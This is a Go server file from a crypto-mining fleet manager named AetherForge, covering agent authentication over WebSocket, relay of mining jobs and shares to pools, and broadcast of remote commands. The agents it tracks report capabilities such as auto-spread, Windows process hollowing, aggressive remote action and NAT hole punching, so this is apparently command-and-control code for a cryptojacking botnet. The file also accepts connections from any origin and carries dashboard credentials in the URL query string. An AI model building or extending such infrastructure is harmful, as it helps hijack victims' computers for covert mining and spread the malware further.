Files
AetherForge/server/internal/api/websocket.go

872 lines
23 KiB
Go

package api
import (
"crypto/subtle"
"encoding/base64"
"encoding/json"
"fmt"
"log"
"net/http"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"github.com/google/uuid"
"github.com/gorilla/websocket"
)
// secureStringEqual compares two strings in constant time to prevent timing attacks.
func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
func checkDashboardWSToken(r *http.Request) bool {
token := r.URL.Query().Get("token")
if token == "" {
return false
}
decoded, err := base64.StdEncoding.DecodeString(token)
if err != nil {
return false
}
parts := strings.SplitN(string(decoded), ":", 2)
if len(parts) != 2 {
return false
}
user, pass := parts[0], parts[1]
usersMu.RLock()
expectedPass, exists := authUsers[user]
usersMu.RUnlock()
return exists && secureStringEqual(pass, expectedPass)
}
var upgrader = websocket.Upgrader{
ReadBufferSize: 4096,
WriteBufferSize: 4096,
CheckOrigin: func(r *http.Request) bool {
return true // Allow all origins for local use
},
}
type Message struct {
Type string `json:"type"`
Payload json.RawMessage `json:"payload"`
}
type AgentConnection struct {
AgentID string
Conn *websocket.Conn
mu sync.Mutex
}
func (c *AgentConnection) SendJSON(v interface{}) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.Conn.WriteJSON(v)
}
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
Conn *websocket.Conn
mu sync.Mutex
}
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteMessage(messageType, data)
}
func (d *DashboardConn) WriteJSON(v interface{}) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteJSON(v)
}
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteControl(messageType, data, deadline)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
dashboards map[string]*DashboardConn
poolManager *pool.Manager
defaultPool pool.Config
aiHandler *AIHandler
agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
mu sync.RWMutex
}
func NewWSHub(database *db.Database) *WSHub {
return &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
pingIntervalSec: 30,
}
}
func (h *WSHub) SetServerPolicy(p ServerPolicy) {
h.mu.Lock()
h.serverPolicy = p
h.mu.Unlock()
}
func (h *WSHub) SetPingInterval(seconds int) {
if seconds < 10 {
seconds = 30
}
h.mu.Lock()
h.pingIntervalSec = seconds
h.mu.Unlock()
}
// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Lock()
h.fleetSecret = secret
h.mu.Unlock()
}
func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock()
sec := h.pingIntervalSec
h.mu.RUnlock()
if sec < 10 {
sec = 30
}
return time.Duration(sec) * time.Second
}
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
conn.SetPongHandler(func(string) error {
return conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
dc.Conn.SetPongHandler(func(string) error {
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock()
defer h.mu.RUnlock()
return h.serverPolicy
}
func (h *WSHub) connectedAgentCount() int {
h.mu.RLock()
defer h.mu.RUnlock()
return len(h.agents)
}
func (h *WSHub) isAgentConnected(agentID string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
_, ok := h.agents[agentID]
return ok
}
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
h.mu.Lock()
h.poolManager = manager
h.defaultPool = defaultCfg
h.mu.Unlock()
}
func (h *WSHub) SetAIHandler(ai *AIHandler) {
h.mu.Lock()
h.aiHandler = ai
h.mu.Unlock()
}
func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
h.mu.RLock()
defer h.mu.RUnlock()
cfg := h.agentConfigs[agentID]
poolCfg := pool.Config{
Host: cfg.poolHostOrDefault(h.defaultPool.Host),
Port: cfg.poolPortOrDefault(h.defaultPool.Port),
Wallet: cfg.Wallet,
}
if cfg.PoolHost == "" {
poolCfg.UseTLS = h.defaultPool.UseTLS
} else {
poolCfg.UseTLS = cfg.PoolTLS
}
if cfg.PoolPass != "" {
poolCfg.Password = cfg.PoolPass
} else if h.defaultPool.Password != "" {
poolCfg.Password = h.defaultPool.Password
} else {
poolCfg.Password = "x"
}
if poolCfg.Wallet == "" {
poolCfg.Wallet = h.defaultPool.Wallet
}
return poolCfg
}
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agents[agentID]
}
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("WebSocket upgrade error: %v", err)
return
}
go h.runPingLoopRaw(conn)
agentID := ""
defer func() {
if agentID != "" {
h.mu.Lock()
cur := h.agents[agentID]
// Only tear down fleet state if this connection is still the active one.
if cur != nil && cur.Conn == conn {
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
h.mu.Unlock()
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
h.db.SetAgentOffline(agentID)
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
} else {
h.mu.Unlock()
}
}
conn.Close()
}()
for {
_, msgBytes, err := conn.ReadMessage()
if err != nil {
log.Printf("Agent read error: %v", err)
break
}
var msg Message
if err := json.Unmarshal(msgBytes, &msg); err != nil {
log.Printf("Invalid message from agent: %v", err)
continue
}
switch msg.Type {
case "auth":
var auth struct {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
BackupPools []struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"pool_tls"`
Pass string `json:"pass"`
} `json:"backup_pools"`
Version string `json:"version"`
Hostname string `json:"hostname"`
Worker string `json:"worker"`
WorkerName string `json:"worker_name"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid auth payload",
})})
continue
}
// Verify fleet secret. If the server has one configured, the agent must match.
h.mu.RLock()
requiredSecret := h.fleetSecret
h.mu.RUnlock()
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid fleet secret — re-forge this agent",
})})
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
return
}
agentID = auth.AgentID
if agentID == "" {
agentID = uuid.New().String()
}
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot()
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
for i, bp := range auth.BackupPools {
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet,
PoolHost: auth.PoolHost,
PoolPort: auth.PoolPort,
PoolTLS: auth.PoolTLS,
PoolPass: auth.PoolPass,
AIEnabled: auth.AIEnabled,
AIOllamaEndpoint: auth.AIOllamaEndpoint,
AIModel: auth.AIModel,
BackupPools: backupPools,
}
caps := models.AgentCapabilities{
HolePunch: auth.HolePunch,
RemoteAggressive: auth.RemoteAggressive,
MeshP2P: auth.MeshP2P,
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
}
h.mu.Lock()
h.agentConfigs[agentID] = forgeCfg
h.agentCapabilities[agentID] = caps
h.mu.Unlock()
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
if poolCfg.Password == "" {
poolCfg.Password = "x"
}
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
connected := false
for i, bp := range backupPools {
if bp.Host == "" || bp.Port <= 0 {
continue
}
bpCfg := poolCfg
bpCfg.Host = bp.Host
bpCfg.Port = bp.Port
bpCfg.UseTLS = bp.TLS
if bp.Pass != "" {
bpCfg.Password = bp.Pass
}
if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
connected = true
break
}
}
if !connected {
log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
}
}
}
if h.aiHandler != nil && forgeCfg.AIEnabled {
h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
}
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
Platform: auth.Platform,
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Capabilities: &caps,
}
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "database error",
})})
break
}
if policy.LogAgentConnections {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
}
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
"agent_id": agentID,
})})
h.broadcastDashboard(Message{
Type: "agent_online",
Payload: mustMarshal(agent),
})
case "stats":
if agentID == "" {
continue
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
h.broadcastDashboard(Message{
Type: "stats_update",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}),
})
case "submit_share":
if agentID == "" {
continue
}
var share models.Share
if err := json.Unmarshal(msg.Payload, &share); err != nil {
continue
}
share.AgentID = agentID
share.Timestamp = time.Now()
share.Accepted = false
shareID, err := h.db.InsertShare(&share)
if err != nil {
log.Printf("Failed to insert share: %v", err)
continue
}
sendShareResult := func(accepted bool, errMsg string) {
share.Accepted = accepted
share.Error = errMsg
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
log.Printf("Failed to update share result: %v", err)
}
if h.serverPolicySnapshot().LogShareSubmissions {
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
}
agentConn := h.getAgentConn(agentID)
if agentConn != nil {
result := map[string]interface{}{
"job_id": share.JobID,
"accepted": accepted,
}
if errMsg != "" {
result["error"] = errMsg
}
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
}
h.broadcastDashboard(Message{
Type: "new_share",
Payload: mustMarshal(map[string]interface{}{
"id": shareID,
"agent_id": agentID,
"job_id": share.JobID,
"accepted": accepted,
"hash": share.Hash,
"nonce": share.Nonce,
"error": errMsg,
"timestamp": share.Timestamp,
}),
})
}
if h.poolManager == nil {
sendShareResult(false, "pool manager not configured")
continue
}
poolCfg := h.agentPoolConfig(agentID)
proxy := h.poolManager.GetPool(&poolCfg)
if proxy == nil {
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
proxy = p
} else {
sendShareResult(false, "pool not connected: "+err.Error())
continue
}
}
if !proxy.IsConnected() {
sendShareResult(false, "pool not connected")
continue
}
wallet := poolCfg.Wallet
if wallet == "" {
wallet = h.defaultPool.Wallet
}
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
case "get_job":
if agentID == "" {
continue
}
var proxy *pool.Proxy
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
proxy = h.poolManager.GetPool(&poolCfg)
if proxy == nil {
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
proxy = p
}
}
}
if proxy != nil {
job := proxy.GetCurrentJob()
if job != nil {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})})
}
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})})
}
case "log_tail":
if agentID == "" {
continue
}
var payload struct {
Content string `json:"content"`
Lines int `json:"lines"`
}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
h.mu.Lock()
h.agentLogs[agentID] = payload.Content
h.mu.Unlock()
h.broadcastDashboard(Message{
Type: "agent_log",
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
})
case "command_result":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
}
}
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Verify dashboard session. The SPA sends its stored Basic-auth token as
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
// We decode it and check against the same in-memory user map as the REST API.
if !checkDashboardWSToken(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("Dashboard WebSocket upgrade error: %v", err)
return
}
dc := &DashboardConn{Conn: conn}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = dc
h.mu.Unlock()
defer func() {
h.mu.Lock()
delete(h.dashboards, dashID)
h.mu.Unlock()
conn.Close()
}()
// Send initial data
agents, _ := h.db.ListAgents()
h.enrichAgentsCapabilities(agents)
stats, _ := h.db.GetFleetStats()
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
"agents": agents,
"stats": stats,
})})
go h.runPingLoopDash(dc)
// Keep connection alive, read close messages
for {
_, _, err := conn.ReadMessage()
if err != nil {
break
}
}
}
func (h *WSHub) broadcastDashboard(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
data, err := json.Marshal(msg)
if err != nil {
return
}
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
dc.Conn.Close()
id := id
go func() {
h.mu.Lock()
delete(h.dashboards, id)
h.mu.Unlock()
}()
}
}
}
func mustMarshal(v interface{}) json.RawMessage {
data, _ := json.Marshal(v)
return data
}
// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
for id, agent := range h.agents {
if err := agent.SendJSON(msg); err != nil {
log.Printf("Failed to send to agent %s: %v", id, err)
}
}
}
// SendToAgent sends a message to one connected agent.
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
agent := h.getAgentConn(agentID)
if agent == nil {
return fmt.Errorf("agent %s not connected", agentID)
}
return agent.SendJSON(msg)
}
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}
// BroadcastAgentCommand sends a remote command to all connected agents.
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
h.mu.RLock()
defer h.mu.RUnlock()
for _, a := range agents {
if a == nil {
continue
}
if caps, ok := h.agentCapabilities[a.ID]; ok {
c := caps
a.Capabilities = &c
}
}
}
func (h *WSHub) GetAgentLog(agentID string) string {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agentLogs[agentID]
}
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
}
func (h *WSHub) BroadcastPoolStatus(status interface{}) {
h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
}
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}
func agentDisplayName(workerName, worker, hostname, agentID string) string {
if workerName != "" {
return workerName
}
if worker != "" {
return worker
}
if hostname != "" {
return hostname
}
return shortAgentID(agentID)
}
func shortAgentID(id string) string {
if len(id) >= 8 {
return id[:8]
}
if id == "" {
return "agent"
}
return id
}
// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
line = strings.TrimSpace(line)
if line == "" {
return
}
h.broadcastDashboard(Message{
Type: "server_log",
Payload: mustMarshal(map[string]string{"line": line}),
})
}